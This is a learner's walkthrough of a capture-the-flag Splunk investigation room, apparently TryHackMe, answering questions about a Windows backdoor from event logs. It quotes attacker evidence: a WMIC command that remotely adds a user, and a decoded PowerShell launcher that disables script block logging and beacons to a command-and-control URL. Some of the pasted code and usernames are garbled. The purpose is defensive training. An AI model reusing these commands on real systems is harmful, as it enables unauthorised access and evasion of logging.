

SOC Analyst **Johnny** has observed some anomalous behaviours in the logs of a few windows machines. It looks like the adversary has access to some of these machines and successfully created some backdoor. His manager has asked him to pull those logs from suspected hosts and ingest them into Splunk for quick investigation. Our task as SOC Analyst is to examine the logs and identify the anomalies.

To learn more about Splunk and how to investigate the logs, look at the rooms [splunk101](#) and [splunk201](#).


## Room Machine

Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP **Machine IP**: 10.10.9.214. You can visit this IP from the VPN or the Attackbox. The machine will take up to 3-5 minutes to start. All the required logs are ingested in the index **main**.

### Answer the questions below

How many events were collected and Ingested in the index **main**? 12256

On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username? A1berto (to find this, I did a google search to learn what event id is created when a new user is created)



As we can see there is only one event, and the new account user name is A1berto. It was done by Micheal.Beaven

	<pre>Category: User Account Management Channel: Security DisplayName: %%1793 EventID: 4720 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:02 EventType: AUDIT_SUCCESS ExecutionProcessID: 740 HomeDirectory: %%1793 HomePath: %%1793 Hostname: Micheal.Beaven Keywords: -9214364837600035000 LogonHours: %%1797 Message: A user account was created.</pre>
	<pre>LogonHours: %%1797 Message: A user account was created.  Subject:     Security ID:          S-1-5-21-4020993649-1037605423-417876593-1104     Account Name:         James     Account Domain:       Cybertees     Logon ID:             0x551686  New Account:     Security ID:          S-1-5-21-1969843730-2406867588-1543852148-1000     Account Name:         A1berto     Account Domain:       WORKSTATION6  Attributes:</pre>

On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key? HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto

(Another google search reveals event id 4657, and Sysmon events 12,13,14. I looked through the logs and found an event id 12 that matched the Account name A1berto.

i	Time	Event
>	5/11/22 10:32:18.000 PM	<pre>{ [-] @version: 1 AccountName: SYSTEM AccountType: User Category: Registry object added or deleted (rule: RegistryEvent) Channel: Microsoft-Windows-Sysmon/Operational Domain: NT AUTHORITY EventID: 12 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:02 EventType: CreateKey EventTypeOriginal: INFO ExecutionProcessID: 3348 Hostname: Micheal.Beaven Image: C:\windows\system32\lsass.exe</pre>

```

TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto
Opcode: Info
OpcodeValue: 0
ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-000000000400}
ProcessId: 740
ProviderGuid: {5770385F-C22A-43E0-BF4C-06F5698FFBD9}
RecordNumber: 183205
RuleName: -
Severity: INFO
SeverityValue: 2
SourceModuleName: eventlog
SourceModuleType: im_msvistalog
SourceName: Microsoft-Windows-Sysmon
TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto
Task: 12

```

Examine the logs and identify the user that the adversary was trying to impersonate. (to answer this, I simply looked at the user field on splunk and saw that there is a user Alberto in the cybertees department.

## Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%	
NT AUTHORITY\SYSTEM	70	58.824%	
Cybertees\Alberto	24	20.168%	
NT AUTHORITY\NETWORK SERVICE	20	16.807%	
Cybertees\James	5	4.202%	

What is the command used to add a backdoor user from a remote computer?

"C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add A1berto pawOrd1"

Google: The most common Windows Event ID for process creation is **4688**. So we filter for 4688

Search
Analytics
Datasets
Reports
Alerts
Dashboards

New Search
Save As
Cre

1 \* EventID=4688

25 events (before 9/19/25 2:18:15.000 PM)
No Event Sampling
Job

Events (25)
Patterns
Statistics
Visualization

Format Timeline
Zoom Out
Zoom to Selection
Deselect

And we look at the interesting commandline fields:

"BackgroundTransferHost.exe" - ServerName:BackgroundTransferHost.1	4	16%	
"C:\windows\system32\backgroundTaskHost.exe" - ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.m ca	2	8%	
C:\windows\system32\wbem\wmiprvse.exe -secured - Embedding	2	8%	
\??\C:\windows\system32\conhost.exe 0xffffffff - ForceV1	2	8%	
"C:\windows\System32\Wbem\WMIC.exe" / node:WORKSTATION6 process call create "net user /add Alberto paw0rd1"	1	4%	
C:\Windows\System32\RuntimeBroker.exe -Embedding	1	4%	
C:\Windows\System32\usocoreworker.exe -Embedding	1	4%	
C:\windows\System32\svchost.exe -k NetSvcs -p -s	1	4%	

List
Format
20 Per Page

i	Time	Event
>	5/11/22 10:32:18.000 PM	{ [-] @version: 1 Category: Process Creation Channel: Security CommandLine: "C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1" EventID: 4688 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:01 EventType: AUDIT_SUCCESS


```
EventType: AUDIT_SUCCESS
ExecutionProcessID: 4
Hostname: James.browne
Keywords: -9214364837600035000
MandatoryLabel: S-1-16-12288
Message: A new process has been created.
```

```
Creator Subject:
  Security ID:      S-1-5-21-4020993649-1037605423-417876593-1104
  Account Name:     James
  Account Domain:   Cybertees
  Logon ID:         0x2CC013
```

```
Target Subject:
```

How many times was the login attempt from the backdoor user observed during the investigation? 0

The account that was created was A1berto, so we search for what he has done with this account to see how many times he's logged in.




So the answer is 0.

What is the name of the infected host on which suspicious Powershell commands were executed? From the previous findings we learnt that it was james.browne.

PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution? 79

I did a google search and learnt that the event id for powershell logging is 4104 and 4103.



This powershell command looked encoded.

```
AccountType: User
ActivityID: {4F259F18-BCE1-0000-7D1A-7593808AD601}
Category: Executing Pipeline
Channel: Microsoft-Windows-PowerShell/Operational
ContextInfo:      Severity = Informational
               Host Name = ConsoleHost
               Host Version = 5.1.18362.752
               Host ID = 0f79c464-4587-4a42-a825-a0972e939164
               Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc
SQBGACgAJABQAFMAVgBIAHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBJAE8ATgAuAE0AYQBKAe8AUgAgAC0ARwBIAcAAMwApAHsAJAAXAD
AFgAeAB1AFMAQQAtAD0AVgBEADQANGA3ACoAfABPAEWAVwBCAH4AcgBuADgAXgBJACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBzADsAJA
Engine Version = 5.1.18362.752
Runspace ID = a6093660-16a6-4a60-ae6b-7e603f030b6f
```

<https://qchq.github.io/CyberChef>

To decode the Base64 hash value I found, I used CyberChef’s “**From Base64**” and “**Decode text**” features.

### Recipe

From Base64

Alphabet  
A-Za-z0-9+/=

☒ Remove non-alphabet chars

Decode text

Encoding  
UTF-16LE (1200)

STEP

BAKE!

Auto Bake

length: 5073  
lines: 2

Input

SQBGCAGAJABQAFMAVGBlAHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVGbFAHIAUwBJAE8ATgAuAE0A  
YQBKAe8AUgAgAC0ARwB1ACAMwApAHsAJAAXADEAQgBEADgAPQBbAHIAZQBGAf0ALgBBAFMAcwB1AE0A  
YgBsAHkALgBHAGUAdABUAHKAUABFACgAJwBTAHkAcwB0AGUAbQAUAE0AYQBwAGEAZwB1AG0AZQBwAHQA  
LgBBAHUAdABvAG0AYQB0AGKAbwBuAC4AVQB0AGKAbABzACCkAQAUACIARwBFAFQARgBJAGUAYABsAGQA  
IgAoACcAYwBHAGMAaB1AGQARwByAG8AdQBwAFABwBsAGkAYwB5AFMAZQB0AHQAaQBwAGcAcwAnACwA  
JwBOACCkAwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAABHQAaQBjACcAKQA7AEkARgAoACQAMQAxAEIA  
ZAA4ACkAewAKAEEMQA4AEUAMQA9ACQAMQAxAEIARAA4AC4ARwB1AHQAVgBhAEwAVQBFACgAJABuAFUA  
bABMACkAOwBJAGYAKAAkAEEMQA4AGUAMQBbACCuUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwA  
bwBnAGcAaQBwAGcAJwBdACKAewAKAEEMQA4AGUAMQBbACCuUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8A  
YwBrAEwAbwBnAGcAaQBwAGcAJwBdAFsAJwBFAG4AYQB1AGwAZQBtAGMacgBpAHAAdABCACCkAwAnAGwA

time: 1ms  
length: 1901  
lines: 1

Output

IF(\$PSVersionTable.PSVersion.Major -Ge 3){\$11BD8=  
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFileId"  
('cachedGroupPolicySettings','N'+onPublic,Static');IF(\$11BD8)  
{\$A18E1=\$11BD8.GetValue(\$Null);If(\$A18e1['ScriptB'+lockLogging'])  
{\$A18e1['ScriptB'+lockLogging']  
['EnableScriptB'+lockLogging']=0;\$a18e1['ScriptB'+lockLogging']  
['EnableScriptBlockInvocationLogging']=0}\$vAl=  
[Collections.Generic.Dictionary[String,System.Object]]::new();\$vAl.Add('EnableSc  
riptB'+lockLogging',0);\$vAl.Add('EnableScriptBlockInvocationLogging',0);\$a18e1[  
'KEY LOCAL MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+loc

Gecko';\$ser=\$( [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aA  
B0AHQAcaA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==')));\$t='/news.php';\$7A6Ed.Headers

I repeated the base 64 decoding for this one too and got: <http://10.10.10.5/news.php>

And then we defang: `hxxp[://]10[.]10[.]10[.]5/news[.]php`